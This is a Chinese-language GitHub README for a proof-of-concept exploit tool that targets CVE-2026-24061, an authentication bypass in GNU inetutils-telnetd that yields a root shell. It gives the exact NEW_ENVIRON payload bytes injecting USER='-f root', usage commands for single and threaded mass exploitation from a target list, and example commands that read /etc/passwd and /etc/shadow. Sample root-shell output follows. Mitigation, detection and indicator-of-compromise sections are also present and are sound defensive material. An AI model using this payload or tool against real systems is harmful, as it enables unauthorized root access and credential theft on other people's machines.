SystemVll/CVE-2026-24061
GitHub: SystemVll/CVE-2026-24061
一个利用 GNU inetutils-telnetd 中 CVE-2026-24061 认证绕过漏洞的概念验证工具,允许未经认证即获取远程 root 权限。
Stars: 5 | Forks: 1
# CVE-2026-24061
## GNU inetutils-telnetd - 远程认证绕过
一个用于利用 CVE-2026-24061 漏洞的安全研究工具。该漏洞是 GNU inetutils-telnetd 中存在的一个严重的远程认证绕过漏洞,允许攻击者在无需认证的情况下直接获取 root shell 访问权限。
## 目录
- [漏洞概述](#vulnerability-summary)
- [受影响版本](#affected-versions)
- [技术分析](#technical-analysis)
- [前置条件](#prerequisites)
- [安装说明](#installation)
- [用法](#usage)
- [输出参考](#output-reference)
- [漏洞利用方法](#exploitation-methodology)
- [缓解与修复](#mitigation-and-remediation)
- [入侵指标](#indicators-of-compromise)
- [法律免责声明](#legal-disclaimer)
- [参考资料](#references)
- [致谢](#credits)
## 漏洞概述
| 字段 | 值 |
|-------|-------|
| CVE 标识符 | CVE-2026-24061 |
| CVSS v3.1 评分 | 9.8 (严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE 分类 | CWE-88:命令中参数分隔符的不当中和 |
| 供应商 | GNU Project |
| 产品 | inetutils-telnetd |
| 披露日期 | 2026 年 1 月 20 日 |
| 补丁可用性 | 待定 |
### 执行摘要
GNU inetutils-telnetd 2.7 及之前版本中存在一个严重漏洞,该漏洞允许未经认证的远程攻击者完全绕过认证,并立即获得 root shell 访问权限。该漏洞通过 NEW_ENVIRON telnet 选项被利用,攻击者通过注入一个特别构造的、值为 "-f root" 的 USER 环境变量,即可绕过所有认证机制。
### 影响评估
- **机密性**:系统数据被完全泄露
- **完整性**:以 root 权限获得系统的完全控制权
- **可用性**:可能导致系统被完全接管或引发拒绝服务攻击
- **影响范围**:不变 - 漏洞利用仅影响存在漏洞的 telnet 服务
## 受影响版本
| 版本范围 | 状态 |
|---------------|--------|
| <= 2.7 | 受影响 |
| > 2.7 | 补丁状态待定 |
## 技术分析
### 漏洞根源
该漏洞源于 telnetd 的 NEW_ENVIRON 选项处理程序对 USER 环境变量的验证不当。在处理 NEW_ENVIRON telnet 选项时,telnetd 服务在将 USER 变量值传递给登录进程之前未能对其进行净化。通过将 USER 设置为 "-f root",攻击者注入了命令行参数,这些参数强制认证过程对 root 用户直接成功,而无需任何凭据。
### 攻击向量
1. 攻击者连接到 telnetd 服务(通常是 23 端口)
2. 在 telnet 选项协商期间,服务器请求 NEW_ENVIRON 数据
3. 攻击者响应将 USER 环境变量设置为 "-f root"
4. 恶意参数绕过了认证检查
5. 无需任何密码提示即可立即获得 root shell
6. 实现对系统的完全控制
### 利用复杂性
- **前置条件**:拥有目标 telnetd 服务的网络访问权限
- **认证**:无需认证
- **用户交互**:无
- **攻击复杂性**:低
## 前置条件
### 系统要求
- Python 3.7 或更高版本
- 与目标 telnetd 实例的网络连接
- 拥有执行 Python 脚本的足够权限
### 依赖项
所有依赖项均为 Python 标准库的一部分:
| 包名 | 用途 |
|---------|---------|
| socket | 网络通信 |
| select | I/O 多路复用 |
| sys | 系统交互 |
| os | 操作系统接口 |
| threading | 并发利用目标 |
| datetime | 时间戳格式化 |
## 安装说明
### 方法 1:使用 Git
```
# 克隆 repository
git clone https://github.com/SystemVll/CVE-2026-24061.git
cd CVE-2026-24061
# 运行 exploit
python3 main.py -u
```
### 方法 2:直接下载
```
# 下载 exploit
curl -O https://raw.githubusercontent.com/SystemVll/CVE-2026-24061/main/main.py
# 使其可执行 (Linux/macOS)
chmod +x main.py
# 运行 exploit
python3 main.py -u
```
### 方法 3:手动安装
```
# 确保已安装 Python 3.7+
python3 --version
# 下载并运行
python3 main.py -u
```
## 用法
### 命令行界面
```
Usage:
python3 main.py -u [-p ] [-usr ]
python3 main.py -l [-p ] [-usr ]
echo "commands" | python3 main.py -u
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
```
### 单目标利用
利用单个 telnetd 实例:
```
# 基本利用 (默认端口 23, 用户 root)
python3 main.py -u 192.168.1.100
# 自定义端口
python3 main.py -u 192.168.1.100 -p 2323
# 不同用户
python3 main.py -u 192.168.1.100 -usr admin
```
### 命令执行模式
以非交互方式执行命令:
```
# 单个命令
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# 多个命令
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# 带输出重定向的命令
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
```
### 批量目标利用
从文件中利用多个目标:
```
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
```
**目标文件格式** (`targets.txt`):
```
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
```
注意事项:
- 每行一个目标
- IP 地址或主机名
- 空行将被忽略
- 通过 threading 并发利用目标
## 输出参考
### 状态指示器
| 指示器 | 颜色 | 描述 |
|-----------|-------|-------------|
| `[SUCCESS]` | 绿色 | 成功连接到目标 |
| `[EXPLOIT]` | 绿色 | 成功发送利用 payload |
| `[INFO]` | 蓝色 | 关于当前操作的信息提示 |
| `[ERROR]` | 红色 | 连接失败、超时或利用错误 |
| `[WARNING]` | 黄色 | 警告消息(当前未使用) |
### 输出示例
```
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
```
## 漏洞利用方法
### Telnet 协议协商过程
该漏洞利用了 telnet 协议的协商阶段:
1. **初始连接**:建立到目标端口的 TCP 连接
2. **选项协商**:服务器发送各种 telnet 选项的 DO/WILL 命令
3. **TTYPE 同意**:客户端同意发送终端类型 (WILL TTYPE)
4. **TSPEED 同意**:客户端同意发送终端速度 (WILL TSPEED)
5. **NEW_ENVIRON 同意**:客户端同意发送环境变量 (WILL NEW_ENVIRON)
6. **子协商**:服务器请求环境变量 (SB NEW_ENVIRON SEND)
7. **Payload 注入**:客户端在 NEW_ENVIRON 响应中发送 USER="-f root"
8. **绕过认证**:服务器处理恶意的 USER 变量
9. **Shell 访问**:无需认证即授予 root shell
### Payload 结构
```
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
```
### 交互会话处理
- **输入多路复用**:使用 `select.select()` 同时监控 socket 和 stdin
- **非阻塞 I/O**:配置 socket 进行非阻塞操作
- **Telnet 处理**:从输出中剥离 IAC 序列以实现清晰显示
- **超时管理**:命令执行设置 30 秒超时
## 缓解与修复
### 立即采取的行动
1. **禁用 telnetd**:立即停止并禁用 telnetd 服务
# 基于 systemd 的系统
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# 基于 xinetd 的系统
sudo service xinetd stop
sudo chkconfig telnet off
2. **防火墙规则**:在防火墙级别阻止 telnet 端口 (23)
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
3. **网络隔离**:从面向互联网的系统中移除 telnet 服务
- 仅使用内部网络段
- 实施网络访问控制列表 (ACL)
### 长期建议
| 行动 | 优先级 | 描述 |
|--------|----------|-------------|
| 迁移至 SSH | 严重 | 使用 SSH 替换 telnet 进行远程访问 |
| 补丁管理 | 严重 | 监控并应用安全更新 |
| 服务审计 | 高 | 识别并禁用不必要的网络服务 |
| 网络分段 | 高 | 将关键系统与公共网络隔离 |
| 入侵检测 | 中 | 部署 IDS/IPS 以检测利用尝试 |
| 访问控制 | 中 | 为远程服务实施 IP 白名单 |
### 替代方案
**使用 SSH 代替 Telnet:**
```
# 安装 OpenSSH server
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# 启用并启动 SSH
sudo systemctl enable sshd
sudo systemctl start sshd
```
### 缓解后的验证
```
# 验证 telnetd 未运行
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# 如果已正确禁用,应无返回结果
```
## 入侵指标
### 日志分析
检查系统日志中是否存在以下模式:
**认证日志:**
```
# 检查异常登录模式
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# 查找可疑的 USER 环境变量
sudo grep "USER.*-f" /var/log/auth.log
```
**网络日志:**
- 来自意外 IP 地址的 Telnet 连接
- 在正常运行时间之外对 23 端口的连接
- 对 telnet 服务的多次快速连接
### 系统痕迹
- 以 root 身份运行的意外进程
- 被修改的系统配置文件
- 未经授权的用户账户
- /root/.ssh/authorized_keys 中出现新的 SSH 密钥
- 可疑的 cron 任务或计划任务
### 网络指标
- 来自 telnet 服务进程的出站连接
- 向外部主机发送的数据泄露
- 反弹 shell 连接
- 源于被攻陷系统的端口扫描活动
- 尝试向其他内部系统进行的横向移动
### 检测命令
```
# 检查活动的 telnet 连接
sudo netstat -antp | grep :23
# 审查最近的 root 登录
sudo last | grep root
# 检查被修改的系统文件
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# 列出 root 用户的进程
sudo ps aux | grep root
# 检查未经授权的 SSH keys
sudo cat /root/.ssh/authorized_keys
```
## 法律免责声明
**重要提示:使用前请阅读**
此工具严格仅用于:
- 授权的安全评估和渗透测试
- 在受控环境中进行的教育和研究目的
- 经过适当授权的防御性安全操作
- 对您拥有或明确获得测试许可的系统进行的漏洞评估
**禁止的用途:**
- 未经授权访问计算机系统或网络
- 未经所有者明确书面同意利用系统
- 任何违反地方、州、联邦或国际法律的活动
- 恶意活动或未经授权的系统入侵
**责任:**
本软件的作者、贡献者和分发者对使用此工具进行的误用、破坏或非法活动不承担任何责任或义务。用户需自行全权负责:
- 确保遵守所有适用的法律和法规
- 在进行安全测试之前获得适当的授权
- 因使用或滥用本软件而产生的任何后果
**法律声明:**
未经授权访问计算机系统是严重的刑事犯罪。违规行为可能受到以下法律的起诉:
- 计算机欺诈和滥用法 (CFAA) - 美国 (18 U.S.C. § 1030)
- 计算机滥用法案 1990 - 英国
- 欧盟关于打击信息系统攻击的指令
- 全球其他司法管辖区的类似立法
处罚可能包括监禁、巨额罚款和民事责任。
**使用此工具,即表示您已阅读、理解并同意遵守本免责声明以及所有适用法律。**
## 参考资料
### 官方资源
- [GNU Inetutils 主页](https://www.gnu.org/software/inetutils/)
- [GNU Inetutils 文档](https://www.gnu.org/software/inetutils/manual/)
### 漏洞信息
- [NVD - CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [MITRE CVE 记录](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24061)
- [OpenWall 披露 (2026 年 1 月 20 日)](http://www.openwall.com/lists/oss-security/2026/01/20/2)
- [OpenWall 讨论 (2026 年 1 月 20 日)](https://www.openwall.com/lists/oss-security/2026/01/20/8)
- [OpenWall 更新 (2026 年 1 月 22 日)](http://www.openwall.com/lists/oss-security/2026/01/22/1)
### 相关文档
- [CWE-88:参数分隔符的不当中和](https://cwe.mitre.org/data/definitions/88.html)
- [Telnet 协议规范 (RFC 854)](https://tools.ietf.org/html/rfc854)
- [Telnet 环境选项 (RFC 1408)](https://tools.ietf.org/html/rfc1408)
- [OWASP 命令注入](https://owasp.org/www-community/attacks/Command_Injection)
### 安全最佳实践
- [NIST 远程访问指南](https://csrc.nist.gov/publications/)
- [CIS 基准测试](https://www.cisecurity.org/cis-benchmarks/)
- [SANS 安全资源](https://www.sans.org/security-resources/)
## 致谢
- **漏洞利用作者**:IRIS C2 团队
- **框架**:HGrab 框架的一部分
- **发现者**:安全研究社区
- **披露**:OpenWall 邮件列表贡献者
## 更新日志
| 版本 | 日期 | 变更 |
|---------|------|---------|
| 1.0.0 | 2026-01-23 | 初始版本 |
## 支持与联系
如有任何问题、疑问或贡献:
- **问题**:通过 GitHub Issues 报告错误或申请功能
- **安全**:向维护者负责任地报告漏洞
- **贡献**:欢迎提交 Pull requests
## 许可证
本项目按“原样”提供,仅用于授权的安全研究和教育目的。不提供任何明示或暗示的保证。使用风险自负,并需遵守所有适用的法律和法规。
**仅在获得适当授权的情况下使用**
标签:PoC, Telnet, 暴力破解, 编程工具, 远程代码执行, 逆向工具